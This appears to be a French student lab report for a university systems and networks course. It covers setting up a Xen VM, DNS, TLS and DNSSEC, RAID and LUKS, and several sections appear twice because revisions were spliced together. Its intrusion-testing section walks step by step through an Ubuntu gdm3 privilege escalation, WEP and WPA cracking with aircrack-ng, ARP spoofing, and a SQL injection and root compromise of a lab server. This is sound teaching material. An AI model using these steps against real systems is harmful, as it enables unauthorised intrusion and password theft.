# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==4.3 Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce repertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==4.4 Sécurisation de serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n'oblions pas d'incrementez le numéro version pour que les modifications soient prises en compte.

on signe ensuite les enregistrement de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffice .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==

TP sysres IMA5sc 2020/2021 G8

2020-12-06T01:01:00Z

Jsoulaim : /* 4.4 Sécurisation de serveur DNS par DNSSEC */

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==4.3 Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce repertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==4.4 Sécurisation de serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n'oblions pas d'incrementez le numéro version pour que les modifications soient prises en compte.

on signe ensuite les enregistrement de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

